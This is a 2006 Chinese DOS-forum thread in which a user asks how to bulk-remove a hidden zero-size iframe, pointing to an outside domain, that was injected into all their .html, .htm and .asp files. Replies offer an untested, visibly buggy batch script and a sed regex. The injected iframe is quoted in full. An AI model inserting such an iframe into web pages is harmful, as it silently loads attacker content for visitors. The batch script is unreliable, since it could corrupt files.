楼 主
我的网页文件接尾都被加了一段代码如何批量删除?
发表于 2006-12-04 05:15 · 中国 北京 联通
新手上路
★
积分 6 发帖 2 注册 2006-12-04 04:47 19年会员 UID 72508 性别 男
状态 离线
在我本机所有的*.html *.htm *.asp 文件都被加了一段代码如下:
<iframe src="http://51355388.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe>
第 2 楼
发表于 2006-12-04 05:41 · 中国 甘肃 张掖 电信
金牌会员
★★★★
积分 4,103 发帖 1,744 注册 2006-01-20 13:00 20年会员 UID 49241 性别 男 来自 甘肃.临泽
状态 离线
用3742668斑竹爱用的方法
@echo off
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=*" %%a in ('dir /a-d/s/b c:\*.htm c:\*.html c:\*.asp)' do (
for /f "delims=: tokens=1,*" %%i in ('findstr /n . "%%a"') do set "%%i=%%j" & set “num=%%i”
set num=num-1
cd.>%%a
for /l %%i in (1,1,%num%) do >>%%a echo !%%i!
)
未测试
第 3 楼
我试了不行啊.
发表于 2006-12-04 06:37 · 中国 北京 联通
新手上路
★
积分 6 发帖 2 注册 2006-12-04 04:47 19年会员 UID 72508 性别 男
状态 离线
是不是把 /a-d/s/b 替换为 <iframe src="http://51355388.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe>
在把文件改为.bat 运行就可以了?
我试了不行啊.
第 4 楼
发表于 2006-12-05 07:34 · 中国 山东 济南 移动
钻石会员
★★★★★
积分 10,051 发帖 3,040 注册 2002-11-11 00:00 23年会员 UID 223 性别 男
状态 离线
2楼意思应该是保存为bat,然后把文件和字串做为参数。
简单就是美
第 5 楼
发表于 2006-12-05 23:10 · 中国 甘肃 兰州 电信
金牌会员
★★★★
积分 4,103 发帖 1,744 注册 2006-01-20 13:00 20年会员 UID 49241 性别 男 来自 甘肃.临泽
状态 离线
第 6 楼
发表于 2006-12-06 01:36 · 中国 山东 济南 移动
钻石会员
★★★★★
积分 10,051 发帖 3,040 注册 2002-11-11 00:00 23年会员 UID 223 性别 男
状态 离线
哦,是这样啊,我还以为是字串替换这样的完美办法,前几天我也遇到过这样的问题,批量去除网页中的广告信息,html代码完全相同,但位置不同,我是用正则表达式处理的。不过得借助第三方工具。
简单就是美
第 7 楼
发表于 2006-12-06 02:01 · 中国 甘肃 兰州 电信
金牌会员
★★★★
积分 4,103 发帖 1,744 注册 2006-01-20 13:00 20年会员 UID 49241 性别 男 来自 甘肃.临泽
状态 离线
借助第三方工具
sed "s#<iframe src=\x22http://51355388.ee28.cn/htm/\x22.*></iframe>#//" life.temp|more>life
这样要生成临时文件哦
论坛跳转:
— 请选择 —
站务公告 & 版主讨论
意见反馈 & 网友交流
DOS学习入门 & 精彩文章 (教学室)
DOS疑难解答 & 问题讨论 (解答室)
DOS启动盘 & LOGO技术 (启动盘室)
DOS批处理 & 脚本技术(批处理室)
DOS媒体世界 & 网络技术 (多媒体室)
DOS汉化世界 & 中文系统 (中文化室)
DOS开发编程 & 发展交流 (开发室)
DOS软件下载 & 游戏分享 (下载室)
GRUB4DOS、SYSLINUX及其它启动管理软件讨论专区
其它操作系统综合讨论区
WinPE、PowerShell及其它命令行系统专区
贴图灌水、文学娱乐专区
网络日志(Blog)
论坛回收站
├ 链接失效,待修正